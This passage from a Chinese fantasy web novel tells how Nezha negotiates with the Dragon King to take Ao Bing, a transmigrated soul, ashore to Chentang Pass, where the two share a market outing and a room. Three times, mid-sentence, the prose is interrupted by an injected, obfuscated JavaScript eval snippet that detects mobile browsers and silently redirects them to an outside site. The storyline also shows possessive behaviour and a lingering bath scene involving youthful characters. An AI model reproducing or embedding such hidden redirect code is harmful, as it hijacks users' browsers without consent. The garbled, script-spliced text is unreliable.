敖丙给他的响螺上有龙族的印记,龙宫自然会将佩戴者纳入“自己人”范围,只要哪吒想,龙宫的入口就会出现在他眼前。 思及此,他又无意识握了握掌心,抬步走向宫门。 东海龙宫又被唤作水晶宫,晶玉合建,色如冰霜,立于深碧幽海,如同遗世独立的古迹。哪吒停于宫门之前,于那水晶宫之规模,宛如蝼蚁。 他止步门前,却不更近一寸,也不推门探问,兀然张口道:“都说东海龙王坦荡仁义,缘何到某这里,就要事绝至此呢?” 海纹清澈无声,似乎他是自言自语。良久,虚空才传来一道男音,“敖丙不会见你,请回吧。” “老龙王,你以为,以虚象掩住真实的龙宫就能当我去路么?”哪吒毫不客气道,“我与敖丙交好,仅是见他心性单纯,并无旁意,你何必从中作梗,扰我二人欢喜?” “若我掷出乾坤圈,你这水晶宫又能抵住几击呢?” “放肆!” 哪吒的威胁似是起了效用,敖光不惜在怒声中并入了灵力,便是要震破他的耳膜,以气浪将他逐出海去。 “我好心同你洽谈,”混天绫早有所觉护住了哪吒的五感,又以绫身挡去敖光的逐力,哪吒一步未退,“请不要一而再、再而三地挑战我的耐心。” 如若不是考虑到小乖还在龙宫内,他又答应不和敖光动手,哪吒绝不会费这些口舌。 再说,敖光也并非没有把柄在他手中。那夜他问出敖丙变化之疑明显是戳到了敖光的痛处,只是碍于敖丙和他红莲相通、敖光又看出他非凡人之躯才免去一场大战,不想敖光竟宁愿将小乖软禁,也不许与他作友。 委实蹊跷。 忽地,周遭海水如同生出灵智般席聚成卷,巨大的水浪压着强烈的法力风袭前来,混天绫和乾坤圈动而不敌,推撵着红衣少年跌进深不见渊的宫门内。 呜—— 水晶门合上,旋即消失在海中,仿佛从未出现过。 …… “你接连两日不进饭食,莫不是以为我会因此心软,就将你放出宫去?”秋汝生周正的脸上面色阴沉,“敖丙,我看你是被那妖道蛊了心智,是非不分了!” 沈何坐在桌案前,任由秋汝生把他训得像个鹌鹑,垂着脑袋抿杯里的水,一个字也不说。 秋汝生眉头紧皱,一掌拍到桌上,“这是你对为师的态度吗?!” “哎呀秋先生,三殿下年纪尚小,好不容易交了个陆地的朋友,心有惦念也是正常。”珍珠嬷嬷看不下去,连忙上前护住沈何,微凉的手掌轻轻抚着小龙的背,“还请您莫要责怪三殿下了。” “年纪尚小?”秋汝生冷哼一声,“他已三百岁有余,他那两个哥哥在他这个年纪已能上阵杀敌了,你瞧瞧他呢,连化成人形的术法都不熟练,多是被你们娇惯出来的!” 好歹是敖光请来的贵客,珍珠嬷嬷心下咬牙,面上不得不应和着点头,“先生教训的是。” “嬷嬷,我没事。” 沈何碰了碰珍珠嬷嬷的手臂,抬脸对她露出一个乖巧的笑,看得珍珠嬷嬷愈发心疼,连连叹气。 他放下茶盏,又低头对着秋汝生道:“敖丙不该任性,让先生操心了。” 秋汝生长眸扫过他一眼,掷袖不理。 沈何低着眼睛悄摸揪袖子,得亏珍珠嬷嬷从二哥那赶回来了,否则他还不知道要被秋汝生训成什么样子。 虽说秋汝生所言不假,他的法术疏于训练远没有同龄龙做得好,可是他原来是人来的,仅学了半月的法诀就能变化自如,他以为他挺聪明的了。 想到这,沈何又不免悲伤,明明那些小说里的主角穿越,大多都能继承原主的法力和肌肉记忆,几天就能上手,怎么轮到他就要从零开始了! 难道就因为他是注定要被抽筋的炮灰,所以干脆穿书格式化了? “我劝你别再打上岸的主意,”秋汝生见他垂眸不语,以为他又在心里琢磨法子,冷声警告道,“你若不想死,就好好待在龙宫,勤练你的术法!” 话落,他转身要离开,却听身后的人突然开口。 “那师父知道,哪吒要杀我的原因吗?” 秋汝生背影微顿,侧脸睨向少年天真迷惑的脸,竟缓缓露出一个狞笑。 “自然是因为——” 秋汝生一字一顿道:“你们是天定的宿敌。” …… “宿敌?”哪吒只觉得好笑,“你明知道前世我抽的是谁的筋,怎么还敢在我面前口称宿敌?” 敖光面无表情地坐在晶玉案边,放在案上的手指蜷起又松开,终于道:“本王也不知。” 哪吒眯了眯眼,“什么意思?” 那袭海浪看似是把他推进深渊,其实在海浪出现前一瞬,敖光便借由响螺向他传音,告诉他只是换个地方说话,叫他假作不敌被推进幻象即可。 像是故意做戏给谁看。 敖光锐如利刀的眼睛打量过哪吒,若是动起真刀实枪,凭哪吒神魂的压力,他倒真不一定能与之抗衡;再者和他打起来事小,万一…… 他沉眸问:“你当真没想过要害我儿?” “若是前世那个倒不好说。”哪吒嘲讽似的扯了下唇,意味不明道,“再说,就算我想杀他,你以为把他关在龙宫就能保住了?” 敖光登时怒目,“你!” 敖光是个护短的,前世哪吒抽了那恶龙的筋,他便把哪吒告上了天庭,要一命偿一命。 虽说前尘尽释,重来一次看在小乖的面上,哪吒也不想同他计较,但敖光偏偏又要阻挠他和小乖,就怪不得他出言不逊。 “我同他无冤无仇,何必害他。” 哪吒在他发作前撇过眼,心道自己欢喜都来不及,好不容易才找到一个对胃口的小龙,哪能突然犯浑杀了。 敖光道:“只怕你说的比唱的好听,我儿命中有此一劫,本王绝不可能放他冒险,你趁早死了这条心,回你的陈塘关去罢!” “不可能。”哪吒想也不想回绝,语气难掩有几分张狂,“我便是咬定了他,你能奈我何?” “你既已成神,又何苦囿于俗尘!”好话歹话都不听,敖光拍案而起,恼道,“若你真心把敖丙当朋友,就该有所回避!” 不知是否真的触动了他,少年容色一怔,垂在身侧的指节攥起,却仍旧不见让步。 “我对他一见如故,自然是真心待他。”哪吒说,“我的确身负千七百杀劫,但我不是没有理智的杀人傀儡,我不想杀他就绝不会杀。” 敖光冷笑,“那是不是倘若哪天敖丙惹了你,你就想杀便杀了?” “不会!” 哪吒顿住,似也未料到他会如此不假思索,旋即停了半晌,在敖光轻讽的目光下双指合并,催出额间神印。 敖光神色微变。 “我哪吒愿以神魂起誓,无论日后发生什么,绝不会伤害敖丙分毫。”红衣少年字字清晰道,“否则天道严惩,身死魂消。” 神印金光亮起,凝出一繁文密符打入少年额间,自此誓成,一有违背,即刻诛杀。 发了神誓,哪怕今后哪吒重塑肉//身、褪去凡胎,依旧无法湮灭。 哪吒掀起眼睫,神情倨傲,说出的话却少见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496199|170201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的温和,“他体内有我的法印,亦可抵致命一击。敖光,如此,总能让我与他见一面了。” …… 天元归一,道上无量,急急如律令,破—— 啪嗒。 琉璃花瓶应声摊成碎片,沈何看了眼花瓶又看了眼指尖,自己乐出了声。 就算秋汝生总数落他,但不妨碍他觉得自己很聪明! 珍珠嬷嬷在一旁十分捧场道:“三殿下果真天资聪颖,一点就通!” “嗯嗯!” 沈何毫不脸红地应下珍珠嬷嬷的吹捧,心满意足地要坐下歇息。然而屁股还没沾凳,地面忽地整个晃动起来,一连带整个水晶宫都在摇晃。 东海还会地震吗? 沈何被珍珠嬷嬷及时拉住,脑袋还在宕机,随着又一下剧烈摇晃,把他晃清醒了。 ——不对,这个时间,恐怕是哪吒打进来了! 一想到这个他瞳孔震得比龙宫还厉害,赶忙拽住珍珠嬷嬷要带他去躲险的动作,想挣开手腕,“嬷嬷,你先去三角处躲着,我得去看看!” “不行啊三殿下,外头有虾兵蟹将挡住,您金身玉体万万不可!”珍珠嬷嬷死命要把他拽回来,“您若出事,我又何必苟活!” 据沈何所知,敖丙生母在生下敖丙后就不知所踪,敖光平日又忙于东海事务无暇顾及他,所以从出生起,敖丙就是由珍珠嬷嬷一手带大的。 珍珠嬷嬷年龄成谜,似乎比敖光还要年长,尽管只有短短半个月的相处,沈何已把她当奶奶看待,于是只能趁摇晃停止时先随她钻到安全的地方才拉下她的手。 “嬷嬷,这个震荡应是我那陆上的朋友来寻我弄出来的,”沈何轻喘着气,不妨碍他语速飞快,“我得出去拦住他,不然龙宫得散架了。” 珍珠嬷嬷瞪眼,“这般鲁莽粗俗的朋友你还要?你且安心,有大王和秋先生在,他翻不起什么大浪。” 那还真说不准,哪吒生气可跟混世魔王一样。沈何欲哭无泪,眼含水光央求道:“嬷嬷,他是我陆地上交的第一个朋友,我放心不下,万一父王和师父伤了他怎么办……” 又一下晃荡。沈何撑手支住身体,一面心道谁能伤的了哪吒,反倒是哪吒最好还记得一点对他的承诺,别把水晶宫掀翻天了,一面对珍珠嬷嬷情真意切地说:“嬷嬷,你就让我去吧。” 她一手教成的孩子,哪忍心看他用这样的神情央求自己。珍珠嬷嬷想也不想取下指上灰色的骨戒戴到沈何手上,“若有危险便催动戒指,蚌壳可以护住你不受伤害。” 沈何微惊,这一看就是珍珠嬷嬷的宝贝,可不能给他糟蹋了,“不用了嬷嬷,我……” “快去吧,嬷嬷自有法子护体。”珍珠嬷嬷怜爱地抚了抚他的脸,温柔道,“去吧殿下。” 随着越发急催的摇晃,沈何来不及多说,抱了抱嬷嬷,便化作小龙腾飞而去。 先前他对秋汝生的话尚没有实感,如今离哪吒越来越近,沈何心里却不由升起一丝隐秘的恐惧。 但这分恐惧很快被他抛之脑后,就算哪吒真的非杀他不可,也比闹翻了龙宫好。 沈何顺着法力波动最强的地方寻去,大抵是龙宫震动惊扰了秋汝生,他也无暇去顾看沈何的动向,因此一路顺通无阻。 直到快到龙宫大殿前,他才瞧见四方梁柱间三人缠斗的身影,又红又蓝又白的,应该是哪吒敖光秋汝生没跑了。 沈何立马掐诀化成人形,正要扬声开口去劝,却见一条红如仙火的长绫朝他卷来,熟悉的莲香包裹住他的口鼻,一阵晕眩,波粼的水纹便消失在眼前。 红绫抽去,沈何落地不稳,身体的惯性还没能让他在这么短的时间回忆起正身的法诀,只好瞬间闭上眼等着疼痛来袭——一只炽热的手掌忽地揽住他的腰身,轻轻使力就将他拦进了一个梵香怀抱。 沈何手抵在他身前,只消一眼就认出面前的红袍衣襟属于何人,脑子还没反应过来已经一拳打在了对方心口。 “你不是答应我不会动手吗,骗子!” 9. 第 9 章 “我是答应了你,”哪吒不避不闪,手臂还环在他腰上,任由他的拳头落在自己肩下,仍是轻声道,“但你爹要打我,我肉//体凡胎,难抗所有啊。” 沈何抵在他胸口的拳头顿住,垂着眼睛不知在想什么,哪吒也由他去想,半晌才听他道:“……龙宫都要被乾坤圈震塌了。” “哪能呢。” 小龙毫无察觉地靠在他怀里,漂亮的眉眼近在咫尺,哪吒福至心灵般凑近,小鹿似的用鼻尖蹭了蹭他的,见沈何双眸瞪得溜圆,心里又软成一片,“我有意控制了力道,只是震一震,你龙宫一根柱子都不会塌。” 沈何努力忽略两人这般距离产生的奇怪感觉,闻言又浑然忘了,立马狐疑抬眼看向哪吒的眼睛,“真的?” 哪吒扬眉,“自然,不信你回去问你爹。” 沈何点了点头,推开他要回龙宫,还没转身又被人拽了回去。 哪吒火棍一样的指节掐住他的腮肉,“我辛辛苦苦把你带出来,你连话也不和我多说就要走?” “我……”沈何张了张唇,看清哪吒晦暗不明的脸色,很有眼力见地努力摇头,被迫嘟嘟道,“不系的,窝馍有。” “不许走,听到了吗。”哪吒纤长眼睫在眼睑处落下一片阴影,恍惚间模糊了他眼中一闪而过的占欲,他顿了顿,找补似的圆了一句,“我好不容易才见到你,你要对我如此狠心么?” 沈何又摇头,他有些凉的指节覆住哪吒的手腕,示意他松开自己的脸。哪吒眸色暗了暗,到底松了手,按在少年腰后的手掌却纹丝未动。 沈何没心思顾及到其他,连忙为自己辩解,“你将我掳…带出龙宫,我爹肯定会追来,届时他若伤了你,我必然愧疚难受,倒不如我先回去同他道歉说清……” 哪吒垂眼看着他着急解释的模样,指腹轻柔地擦过方才他唇侧被自己捏出的红痕,浑不在意道:“他伤不了我。” 沈何:“……”他当然知道,但是他怕哪吒伤了敖光诶! 但实话肯定不能说,而且哪吒去龙宫也是为了找他,沈何眨了眨眼,捏着他的衣襟道:“那要是他追来带我回去……” 哪吒道:“我已同他商量好了,你在龙宫憋闷许久,这段日子我领你在陆上散散心。” 沈何眼睛又睁圆了,“真的?” 敖光前两天还一提到哪吒就如临大敌,真的能放他和哪吒一起玩吗? 哪吒从腰间锦带取出一只海螺放到他耳边,“听。” ——“敖丙,照顾好自己。” 真的是敖光的声音! 海螺里留存的话消失,眨眼便在哪吒手中化成一串晶莹珠链,链上缀着一片水滴似的……鳞片。 沈何面露迟疑,“这……” “龙王交给我,要我务必转交给你。”哪吒看出他的惊疑,安抚似的揉了揉他的后颈,“我帮你戴上。” 格外冰凉的鳞片落在他锁骨处,沈何低眸用手指摸了摸,喉咙像堵了块石头,“是我父王的鳞片。” “他想你安好,你不必自责。” 哪吒也垂目望向那枚龙鳞,鳞片在日耀下折射出流光溢彩的纹路,至少敖光算得上一个称职的父亲,“小乖,别想了。” 沈何被他半揽着,正要下意识点头,忽然抬脸望向哪吒柔和的黑眸。 哪吒也还是少年年纪,却已能独当一面,偏偏又有李靖那样的爹。他所承受的伤痛远超寻常孩子,除了处事偏执了些,是个很好很好的人。 沈何轻抿了抿唇,学着哪吒方才的动作,踮脚去用鼻尖蹭了蹭他的,脚跟还没落下,腰后的大掌突然把他搂紧,险些撞到了哪吒唇上。 哪吒凤眸凝着他,“还走吗?” “不了,既已和父王说过,我便安心了。”沈何眼皮落下,他还是不太习惯这样近的距离,一时不敢去看哪吒的俊颜,连带声音也小了下去,“我和你一起。” 哪吒轻笑出声,沈何却感觉他胸膛都在颤,又听少年凑近问,“好像没听见。” “我说,我和你一起,你陪着我,我也陪着你。”沈何当了真,只好提了提声音,“这样听见了吗?” “勉勉强强吧。” 哪吒故意逗他,偏眼视线落在他轻蹙的眉头上,猛地发力将人整个按在怀里。 沈何吓一跳,“哪吒!” “怎么还是哪吒,”哪吒下颌磨抵着他的颈窝,轻轻嗅着小龙身上沾染着的和他混天绫一模一样的莲香,“不是说我回来就给我起好昵称了么?” 怀里的人背脊僵硬两分,复又放松下来,轻软的嗓音在他耳畔说:“想、想好了。” 哪吒不说话,等着沈何自己说出口。 “……哥哥,哪吒哥哥。” 哪怕他平常都是这样叫敖甲敖乙的,面对哪吒亲口说出来还是难以控制地感到羞耻。 沈何趁机把头埋在少年肩头,而哪吒像有所察觉,将他箍得更紧了些。 似是过了许久,又似只过了一刻钟,沈何轻颤着问:“可以吗?” 哪吒的声音有些哑,“什么?” 沈何抓着他衣角的手指扣紧,只觉得哪吒的身体好像更热了,“叫、叫你哥哥,可以吗?” 他顿了一下,想起上次哪吒询问他的话,照葫芦画瓢,“你喜欢吗,不喜欢的话我还可以……”再想的。 “喜欢。”哪吒没有犹豫,吐字的气息蹭过沈何微凉的颈子,激起一片轻颤,“很喜欢,小乖。” …… “那……我们现在去哪?” 沈何感觉体内的空气都要被哪吒挤没了,手臂只能无力地拽他身后的衣裳,指尖却失力落下,“还、还要抱吗?” 再抱下去他要睡着了。 哪吒总算动了动身体挪开了两寸,问:“你想去哪?” “我对陆上没什么了解,”沈何趁机要退远点,手指又被少年抓住,不得不停在原地,“你去哪我跟着你就是。” 东海附近他只知道一个陈塘关,但他还记得前不久哪吒才和李靖大打一架,不想此时提及他的烦恼事。 “这附近只有陈塘关最近,我先带你去集市上逛逛。”不想哪吒自己先提了,他道,“只是有人不喜我在人前露面,我们须得乔装一番。” “有人”,八成是李靖了。沈何蹙了下眉,心道他比秋汝生还讨厌。 “我帮你掩去龙角,以免身份暴露。”哪吒的术法很熟练,一袭微风掠过,沈何的龙角就像凭空消失了一般,随即他又化出两只竹笠,“戴上。” 沈何在这方面无有不应,一边戴一边说,“你好厉害,好像什么都会。”哪吒甚至一个人可以打敖光秋汝生两个,说不定真比那个便宜师父厉害。 哪吒眼中划过笑意,“我倒忘了问你,你一只三百岁的小龙,怎么法术如此生疏?” 开了灵智的妖族天生就会吸收日月精华,亦或以摄取凡人的精气为生。沈何周遭灵气干净,显然不是后者,龙族又是妖中集大成者,更别说他的亲父敖光已是正神,就算贪玩疏学,也不至于…… “嬷嬷说我曾昏迷过几年,前一阵醒来就什么都不记得了。”沈何薄薄的眼皮微垂,他说的不是假话,但照理来说如果是真敖丙苏醒,可能还会有昏迷前的肌肉记忆,可惜他只是个截胡的异世孤魂,“我已尽力在学了,若有要事我不会拖你后腿的。” “我不是怕这个,”哪吒眸色动了动,听出他话音里的失落,指节抬了抬他的下颌,“你若想学,我也可以教你。” 沈何怔了怔,对上他纵容的目光,抿了抿唇角,“……真的吗?” “怎么总这么问我,”哪吒顺手勾了勾他的颌角,垂眸望着他,“君子一言,驷马难追。” 沈何用力点头,真诚地回握住他的手指,“嗯嗯,你真的是我遇到的最好的朋友!” 哪吒:“……” 他几乎有些无奈,“这样啊,那我还想问问我的好朋友,头晕想吐的症状有没有好一些呢?” 沈何笑脸一凝,无师自通道:“一见到你就都好了。” 额头被人点了一下,他听见红衣少年道:“就会花言巧语。” 也还好吧,他以前看网上经常有人这么说啊,怎么哪吒耳朵又红了。 …… 陈塘关毗邻东海,既有龙神庇佑,又有总兵镇守,长年风调雨顺,百姓安居乐业。 从沈何有记忆起,触目所及最多的就是医院冰冷的白墙和冷冰冰的机器,他体质太差,不能待在人群中太久,像这样热闹的集市他更是从未踏足过。 人声沸沸中,他被哪吒牵着混在人群里。哪吒道:“看看喜欢什么。” 摊贩的铺上摆放的卖品各式各样,有玩物,有蔬菜果子,有芽糖甜糕,小巷尽头甚至有挥刀屠户宰的生肉。沈何看得眼花缭乱,正要开口,眼神不经意扫过其他买客手里的东西,陡然意识到一个十分现实的问题。 哪吒没听见声音,回头看向他。 沈何今日穿了身藕粉外袍,搭着乳色内襟,一张小脸被竹笠挡了一大半,从哪吒的角度只能瞧见一张水润的唇和小巧的下巴。 他察觉哪吒牵着他的手微紧,以为他是在催促,只好凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496200|170201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他耳边小声说:“我用东海的珍珠和你换行么?” 哪吒不懂他的意思,两人的竹笠嗒嗒打在一起,“什么?” 沈何讷讷,“……我没有你们用的钱。” 哪吒恍然,“所以要用珍珠换?” 沈何小鸡啄米似的连连点下巴。 哎,小龙好可爱。 “看上什么说就好,”哪吒捏了捏他的脸,把他拉到前面让他看得更清楚,“我付钱。” 沈何是个自小就养成不能随便受别人恩惠习惯的乖小孩,闻言还是悄悄补充了一句,“那等我回龙宫就还给你。” 哪吒也不和他犟,敷衍地应了。沈何原本蔫下去的表情重新焕发神采,拽了拽身边人的袖子,“我想吃那个甜糕。” 哪吒:“好。” 沈何备受鼓舞,得了甜糕没走两步又停下了,“这个果子是什么,好吃吗?” 哪吒扫了一眼,“碧禾果,买来尝尝就知道了。” 沈何抱着一包甜糕一包果子接着走,忽地抬手一指,“诶,那个又是什么水?” “融了芽糖的甜水。” 哪吒已经付了钱,沈何却没有手再接了,正要说找个地方先坐坐,发着甜香的竹杯就送到了他嘴边。 沈何费劲地想仰起脸看他,斗笠却被人轻轻拍了拍,“先尝一口。” 那还哪管得了那么多,沈何赶紧伸头抿了抿,除了甜他也尝不出别的味儿,但还是很给面子地说:“好喝。” 他眼睫眨了一下,哪吒手里只有一杯甜水,给他喝了那哪吒呢,“只买了一杯,你不喝吗?” 问完他又拧了下眉,会不会是他一个人花太多把哪吒的钱花完了,所以哪吒只有买一杯的钱了? 他怎么忘了哪吒只是看着年长,实际还是个七岁的孩子,七岁有什么钱啊! 那他买这买那的,十分罪大恶极了,沈何心跳重重蹦了两下,心道他真是昏了头,等再抬头不知什么时候自己已经被哪吒带到了一间茶肆坐着,哪吒撑着脸,似乎在欣赏他发呆的模样。 见沈何看过来,他问:“想什么呢?” 在“我是不是花太多了”和“你还有钱吗”之间,沈何选择最直接的方式,“我没什么好买的了,你不买什么吗?” 哪吒耸了耸肩,“我也没什么想买的。”这陈塘关日日都卖这些东西,沈何第一次来见了稀奇罢了,他有什么好买的。 沈何看起来似乎更焦虑了,把满满两包甜糕和果子朝哪吒的方向又推了推,“你吃。” 哪吒:“我不喜甜的。” 沈何:“……”天。 这下连“弥补”也“弥补”不好了,他半垂着眼,竟有几分生无可恋的意味。 哪吒又揪他脸上的软肉,“怎么不高兴。” 沈何掀起眼睫看他,眸光闪着可疑的水色,“我是不是把你的钱花光了。” 哪吒:“……你再买一百包我的钱都够。” 沈何如释重负,摸了一块甜糕吃,“那你很富有了。” 哪吒眼睛一动就想明白他方才在纠结什么,勾唇笑了笑,这小龙当真傻的可爱。 他只觉得他已经很久没有像眼下这般放松了。 从他出生起,似乎就有无数头衔任务压在他身上,先是灵珠转世却背负杀劫饱受争议,再是伐纣,直到肉//身成神,他有时才恍惚意识到,他的一生什么都没有抓住。 他不知道自己为何会突然回到过去,“重生”后他又是否要争取改变什么,但至少…… 小乖是不一样的。 看见小乖的时候,他才会有完整的感觉。 哪吒眸中似有晦色,无声望着身边毫无察觉的人。 无论发生什么,谁要阻拦,小乖都必须和他在一起。 …… 哪吒不吃,沈何就自己埋头苦吃,但显然他低估了哪吒买的数量,高估了自己的胃,吃累了满得快溢出来的甜糕也只消下去了三分之一。 虽然味道都不一样,但还是好腻啊。沈何揣着小腹,假装不经意问,“我们晚上住哪里呀?” 哪吒伸手擦去他唇角的甜糕渣,“李府。” 他出来有几天了,李靖无所谓,但殷素知会担心。 沈何:“好。” 两人休整一番,黄昏时,霞染半边天,哪吒便领着他回了帅府。 李靖不在。殷素知性子温和,见哪吒带了朋友不仅没有斥责,还命人去收拾厢房好让沈何住。 哪吒道:“不用了娘,他胆子小,和我同住就好。” 沈何:? 10. 第 10 章 直到在哪吒房里坐下,沈何才后知后觉道:“我可以一个人睡。” 哪吒似乎不喜欢有侍从靠近,什么事情都是亲力亲为,沈何说话的时候他正从柜笥里抱了一卷薄被,闻言尾调上扬地“嗯”了一声。 不像疑惑,倒像是随口应付他。 沈何:“……” 他犹豫了一会儿,自己说服了自己,可能哪吒只是想和朋友多待在一块,没什么别的心眼。 他要非不依不饶,倒显得他不喜欢和哪吒一起似的,哪吒本就心思敏感,肯定又要多想。 所以最终到嘴边的辩解变成了,“两床被子不会热吗?” 榻上有一张薄被了,哪吒又抱了一张。 哪吒道:“夜里会凉,先放床脚备着。” 哪吒的卧房打通了一间耳房,天色快暗下,他不知何时打好了水,耳房的浴桶冒着蒸腾的热气,熏了一室暖雾。 哪吒把窝在书架边看话本的龙揪起来,“去沐浴。” “哎等等等,此处甚是关键!”沈何眼睛黏在竹板子上,封神世界的小说也一样好看啊! 哪吒打眼一瞧,只见竹板上刻着—— 百花小仙怒目而起,玉指直指陆参的心口,大斥道:登徒子! 哪吒:“……” 他思索片刻,顺势在沈何面前蹲下//身,“敖丙。” 沈何沉迷剧情,眼皮都没抬,“怎么啦?” “你识字?” 沈何脑子震了一下,好像也因为他这句话开始陷入了深刻的疑问。 ……他怎么认识甲骨文的? 原本在他眼前排列自如的文字眨眼变得奇怪扭曲,一瞬间又不认识了。沈何一把合上竹卷,干巴巴道:“我都、都三百岁了,不识字才不正常吧?” 哪吒缓缓扬了扬眉尾,像是只信了半分。 沈何做贼心虚,起身绕过他要往耳房里钻,刚走两步就被拽住了后领,哪吒掐猫似的掐住他的颈子,“带换洗衣物了么?” 沈何:“我是临时被你掳…带走的!”哪有时间去准备啊? “嗯……那你今夜穿我的?”哪吒轻叹了口气,“可我的衣物要么是七岁孩子的身量,要么……恐怕不合适。” 眼下天已黑了,下午逛集市的时候他们又完全忘了这茬,想买新的也来不及。沈何道:“那我把身上的衣服洗了,烘干再穿。” 哪吒惊讶,“你还会烘衣服?” 沈何:!!! 他觉得自己的龙格受到了侮辱,具体表现在他甩掉了哪吒的手,一股脑冲进耳房里,头都不回。 迷蒙的水雾间犹能瞧见耳房内的布置,除了浴桶外,收叠整齐的衣裳放在一边,是沈何的衣服。他走过去翻了看,里衣里裤搭襟都在,只没有外袍。 备好的皂角贴心地安排在伸臂就能够到的地方。沈何轻哼一声,一边觉得哪吒好贴心呀对好朋友就是好,一边又恼怒好啊方才在外面竟然戏耍我,然后在左右脑互搏中褪去衣物,沉进水中。 沈何头发长,乌泱的发丝贴在他白皙单薄的后背,简单清理过身上,他再捋过头发,慢慢搓洗,只觉得洗完一遍已筋疲力尽,眼皮子被热水蒸得快融化粘黏到一起了。 在龙宫当咸鱼太久,甫一到陆上走多了路,身体便疲乏下来,也无怪乎秋汝生总对他恨铁不成钢…… 沈何迷迷糊糊地惦记着什么,趴在桶边上晕晕地与周公会晤了。 虽说夏日炎热,但沐浴太久容易风寒,特别是沈何这种法术不精的小龙。哪吒估算着时辰,两刻钟的时候叫人,里面说还在洗头发,再过一刻钟叫,就没声了。 他站在耳房的小门前,决定最后给沈何一次机会,“再不出来我就进去了。” “……” 无人应答,只有均匀平稳的呼吸声。 哪吒:“……” 他撩开挡帘进去,只见浴桶边缘半趴着一赤着上身的湿发少年,眉眼被水汽蒸得红艳艳的,乌睫耷在眼睑上,睡得十分岁月静好。 许是沈何太过放松不设防备,原本被术法掩去的龙角不知何时又冒出头来。哪吒走近些,便能瞧见他劲瘦的背脊中沾着水珠的沟线,从暖玉般的颈下延绵至水下,隐隐可见腰后半窝的水湖。 “小乖,”哪吒被烫了眼似的收回视线,目光落回少年的面容上,“起来,穿上衣服去榻上睡。” 沈何纹丝未动,显然和周公相谈盛欢,自然也听不见哪吒微哑的声音。 哪吒抚上他的脸,继续唤他,“敖丙。” 少年眉头动了动,无意识在他手心贴着磨蹭两下,又没了动静。 他脸上沾了水汽,靠在哪吒炙热的掌心中,有些清凉,又有些黏腻。 哪吒望了他一会儿,自己的指节几乎包住了他半张脸,仿佛无论他做什么,少年都会如此毫无防备地亲近他,哪怕更恶劣。 五指陡然用了力气,热意沉沉的指腹重重擦过小龙的面颊。 “呜。”沈何吃痛,下意识要扭开脸挣开,混沌的头脑总算清明了两分,水意朦胧的眸子对上面前人深邃黑沉的眼睛,“……哪吒?” 水温的余热快要散了,沈何恍然大悟,解释道:“我有点太累了,洗着洗着就睡着了……” 他边说边不动声色把自己蜷起来,桶内的水很清,一览无余。 “嗯。”哪吒听起来有些冷淡,“穿衣吧,莫要着凉了。” 说完他便转身出去了。沈何撩起水揉了揉脸,心道他是睡迷糊了,怎么看见哪吒走路是同手同脚。 不过他不确定是不是他睡着时发生了什么,待他收拾好从耳房出来后,哪吒只说让他先睡,然后换水,也进了耳房。 先前困得眼皮像灌了铅,清醒过来又睡不着了。沈何坐在塌边,听着里头传出的水声,心思却飘忽了起来。 封神原著里,哪吒先是抽龙筋,再是与石矶结仇,最后落得肉//身不复;随后殷素知为救他建了哪吒庙,需受供奉三年才得重生,却在第二年被李靖捣了,无奈之下太乙真人只能用金莲玉藕重塑他的身体…… 眼下哪吒既没有和东海生龃龉,也没有同石矶结孽,是不是就可以安稳等姜子牙下山,随之伐纣最终成神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496201|170201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了? 沈何半垂着眼,突然有些迷茫。待这段日子过去,他有幸活下来后,又该去做什么呢? “不是困么,怎么不睡?” 沈何微吓,哪吒走路像没声音一样。他往旁边挪了挪让出位置,问道:“你平时睡里面还是外面?” 他到别人家里住,肯定是以主人家的习惯为主。哪吒说:“你睡里面吧。” 屋外天色黑了,知了吱吱的声响仿佛夏日的伴乐。哪吒灭了烛台,两人合衣躺下,半晌,沈何道:“你生气了吗?” 哪吒:“嗯?” “我刚刚在里面睡着了,你是不是叫我我没理。”沈何仗着黑黢黢的没人看见,光明正大地偏过脸打量着身边人的轮廓,“我感觉你好像不高兴。” 哪吒反驳得很快,“不是。” 沈何愣了愣,词穷了,“好吧。” “只是热得心烦,”哪吒却又主动解释起来,“不是生你的气。” 似是因是灵珠子转世,哪吒的体温比寻常人高不少。沈何松了口气,在黑暗中摸索着抚上他的小臂,感觉对方好像浑身都僵住了,连带声线也梆硬,“……怎么了?” “我属水呀,可以帮你降温。”沈何的灵力自手心蔓延出轻浅的银芒,像温柔的细流,又像清泠的月光,“是不是感觉好些了?” 少顷,哪吒道:“嗯。” 真的有用!不枉他辛勤学习了半个多月! 小龙又要自得,手腕忽然被大掌覆住,整个人都被带着拽了过去。 莲花的清香盈了满鼻,沈何下意识扒住对方的后肩,轻喘了口气,问,“是太凉了吗,还是……” 